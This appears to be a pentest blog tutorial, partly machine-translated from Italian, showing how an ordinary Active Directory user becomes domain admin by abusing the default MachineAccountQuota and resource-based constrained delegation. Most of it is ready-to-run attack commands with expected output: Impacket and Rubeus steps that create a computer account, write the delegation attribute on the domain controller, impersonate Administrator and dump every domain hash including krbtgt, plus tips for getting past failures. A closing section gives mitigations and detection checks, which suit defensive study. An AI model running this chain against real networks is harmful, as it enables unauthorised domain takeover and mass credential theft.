SeMachineAccountQuota and RBCD: Privilege a Domain Admin in 5 Commands

SeMachineAccountPrivilege and RBCD: From Domain User to Domain Admin in Five Commands #

You have standard domain user credentials. No special privileges. The MachineAccountQuota is 10 (the default in most domains). With Impacket, you create a computer account, configure RBCD on the DC, request an S4U ticket as Administrator: access the DC in five commands.

Quick Exploit #

python3 addcomputer.py CORP.LOCAL/normaluser:Password123 -computer-name HACKITA$ -computer-pass CompP@ss123! -dc-ip 192.168.1.10
python3 rbcd.py CORP.LOCAL/normaluser:Password123 -action write -delegate-to "DC01$" -delegate-from "HACKITA$" -dc-ip 192.168.1.10
python3 getST.py CORP.LOCAL/HACKITA\$:CompP@ss123! -spn cifs/DC01.CORP.LOCAL -impersonate Administrator -dc-ip 192.168.1.10
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass CORP.LOCAL/Administrator@DC01.CORP.LOCAL

Expected output:

CORP.LOCAL/Administrator:500:aad3b435...:31d6cfe0...:::
CORP.LOCAL/krbtgt:502:...  ← Golden Ticket possibile

Attack Chain #

Utente di dominio standard (anche helpdesk / sviluppatore)
  → MachineAccountQuota > 0 confermato
  → addcomputer.py → crea HACKITA$ con password nota
  → rbcd.py → imposta msDS-AllowedToActOnBehalfOfOtherIdentity su DC01
  → getST.py S4U2Proxy → ticket Kerberos come Administrator
  → secretsdump -k → tutti gli hash AD → KRBTGT → Golden Ticket

Tool Decision #

What is SeMachineAccountPrivilege and MachineAccountQuota? #

ms-DS-MachineAccountQuota This is an AD attribute that controls how many computer accounts each authenticated user can create. The default is 10 —and most domains never changed it.

The Resource-Based Constrained Delegation (RBCD) chain exploits this capability:

1. You create a computer account that you fully control (you know the password)
2. You configure RBCD on the target (e.g. DC01): you set your computer account as an authorized delegate
3. Use S4U2Self + S4U2Proxy to request a Kerberos ticket as Administrator to the target
4. Log in to the target as Administrator

No exploits. No kernel. Just Kerberos and LDAP.

Step 1 — Verify MachineAccountQuota #

First check that the quota is > 0:

Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties "ms-DS-MachineAccountQuota" | Select-Object "ms-DS-MachineAccountQuota"

Output:

ms-DS-MachineAccountQuota
-------------------------
10

If the value is 0 → Creation by normal users is blocked. In that case, look for accounts with GenericWrite on existing computer accounts:

Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite" -and $_.ObjectAceType -eq "All" }

Step 2 — Create a controlled computer account #

From Linux with Impacket (downloadable from fortra/impacket ):

python3 addcomputer.py CORP.LOCAL/normaluser:Password123 -computer-name HACKITA$ -computer-pass CompP@ss123! -dc-ip 192.168.1.10

From Windows with PowerMad (downloadable from Kevin-Robertson/Powermad ):

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKITA -Password (ConvertTo-SecureString "CompP@ss123!" -AsPlainText -Force)

Verify that the computer account has been created:

Get-ADComputer HACKITA

Step 3 — Configure RBCD on the target #

Tax msDS-AllowedToActOnBehalfOfOtherIdentity on the target (DC01) to allow your computer account (HACKITA$) to delegate.

From Linux with Impacket:

python3 rbcd.py CORP.LOCAL/normaluser:Password123 -action write -delegate-to "DC01$" -delegate-from "HACKITA$" -dc-ip 192.168.1.10

From Windows with PowerView (downloadable from PowerSploit/PowerView ):

Import-Module .\PowerView.ps1
Set-ADComputer DC01 -PrincipalsAllowedToDelegateToAccount HACKITA$

Verify that the setup was successful:

Get-ADComputer DC01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object -ExpandProperty msDS-AllowedToActOnBehalfOfOtherIdentity

Step 4 — Request an S4U ticket as Administrator #

From Linux with Impacket getST:

python3 getST.py CORP.LOCAL/HACKITA\$:CompP@ss123! -spn cifs/DC01.CORP.LOCAL -impersonate Administrator -dc-ip 192.168.1.10

Output:

[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Step 5 — Use the ticket and log in as Administrator #

Export the ticket:

export KRB5CCNAME=Administrator.ccache

Access with psexec:

python3 psexec.py -k -no-pass CORP.LOCAL/Administrator@DC01.CORP.LOCAL

Or dump all domain hashes:

python3 secretsdump.py -k -no-pass CORP.LOCAL/Administrator@DC01.CORP.LOCAL

Output secretsdump:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
CORP.LOCAL/Administrator:500:aad3b435...:31d6cfe0...:::
CORP.LOCAL/krbtgt:502:aad3b435...:a8c4e5f3...:::   ← Golden Ticket possibile
[*] Kerberoastable Users found...

variants #

From Windows with Rubeus #

Get the TGT for the computer account you created. Downloadable from GhostPack/Rubeus :

Rubeus.exe asktgt /user:HACKITA$ /password:CompP@ss123! /domain:CORP.LOCAL /dc:DC01 /nowrap

S4U2Self + S4U2Proxy for the Administrator ticket:

Rubeus.exe s4u /ticket:[base64 TGT dall'output precedente] /impersonateuser:Administrator /msdsspn:cifs/DC01.CORP.LOCAL /nowrap

Import the ticket into the current session:

Rubeus.exe ptt /ticket:[base64 ST dall'output precedente]

Verify access:

dir \\DC01.CORP.LOCAL\C$

Scenario with GenericWrite on existing computer account #

If MachineAccountQuota is 0 but you have GenericWrite on an existing AD account computer (found with BloodHound or PowerView), you can directly change its msDS-AllowedToActOnBehalfOfOtherIdentity without creating a new computer account. The process from Step 3 onwards is identical.

Real-world scenarios #

Enterprise domain with default quota — a standard domain user (helpdesk, developer) runs the full chain without any special privileges. MachineAccountQuota = 10 in almost all non-hardened domains.

Lateral post-compromise : You have the credentials of a low-privileged user account. Instead of probing for local vulnerabilities, you use the RBCD chain to obtain an Administrator ticket directly on the DC.

Common mistakes #

addcomputer.py → “Unwilling To Perform” — MachineAccountQuota = 0. Instead, search for accounts with GenericWrite on existing computer accounts: Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericWrite" }.

getST.py → KDC_ERR_BADOPTION — Administrator is in Protected Users or has “Account is sensitive and cannot be delegated”. Try another admin account: find unprotected admins with Get-ADUser -Filter * -Properties memberof | Where-Object { $_.memberof -notmatch "Protected Users" }.

Clock skew on psexec.py -k — Kerberos ticket invalid due to time difference. Synchronize: ntpdate DC01.CORP.LOCAL or w32tm /resync /force.

RBCD not committed correctly — Verify that the attribute has been written: Get-ADComputer DC01 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object -ExpandProperty msDS-AllowedToActOnBehalfOfOtherIdentity.

rbcd.py fails with “Insufficient access rights” — The user does not have write access to the computer object DC01. GenericWrite or WriteDACL is required on the object.

Detection and bypass (Red Team view) #

When it fails #

• addcomputer.py → “Unwilling To Perform” → quota = 0 → search GenericWrite
• getST.py → KDC_ERR_BADOPTION → target in Protected Users → try other admin
• Clock skew → synchronize with DC
• RBCD not written → check with Get-ADComputer -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

Mitigations #

Set MachineAccountQuota to 0:

Set-ADDomain -Identity CORP.LOCAL -Replace @{"ms-DS-MachineAccountQuota"="0"}

• Protected Users for all privileged accounts — not delegable via Kerberos
• Periodic audit msDS-AllowedToActOnBehalfOfOtherIdentity:

Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
    Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null }

• Alert about Event ID 4741 from non-administrative accounts

Realistic note: MachineAccountQuota = 10 has been the Active Directory default for decades. Most domains have never changed it—it's one of the most common findings in AD pentests with BloodHound.

FAQ #

Is MachineAccountQuota really 10 by default? Yes—the default hasn't changed for decades. Most production domains still have it at 10.

Does it only work against DCs? No—any AD account computer where you can configure RBCD. DCs are the most impactful target.

Does BloodHound show this misconfiguration? Yes—it detects quota > 0 and RBCD paths as “AddAllowedToAct” edges. This is one of the most common DA paths in BloodHound reports.

MachineAccountQuota = 10 + RBCD = Domain Admin with the credentials of any domain user. A single line of PowerShell solves the root cause—yet most domains never do this.

Related articles:

• SeBackupPrivilege — another DA path without kernel privileges
• SeLoadDriverPrivilege — kernel access to DC via Print Operators
• Active Directory Privilege Escalation
• blood hound — complete guide

References: Impacket · PowerMad · Rubeus · BloodHound · Microsoft Docs

For a complete assessment of the AD surface: hackita.it/servizi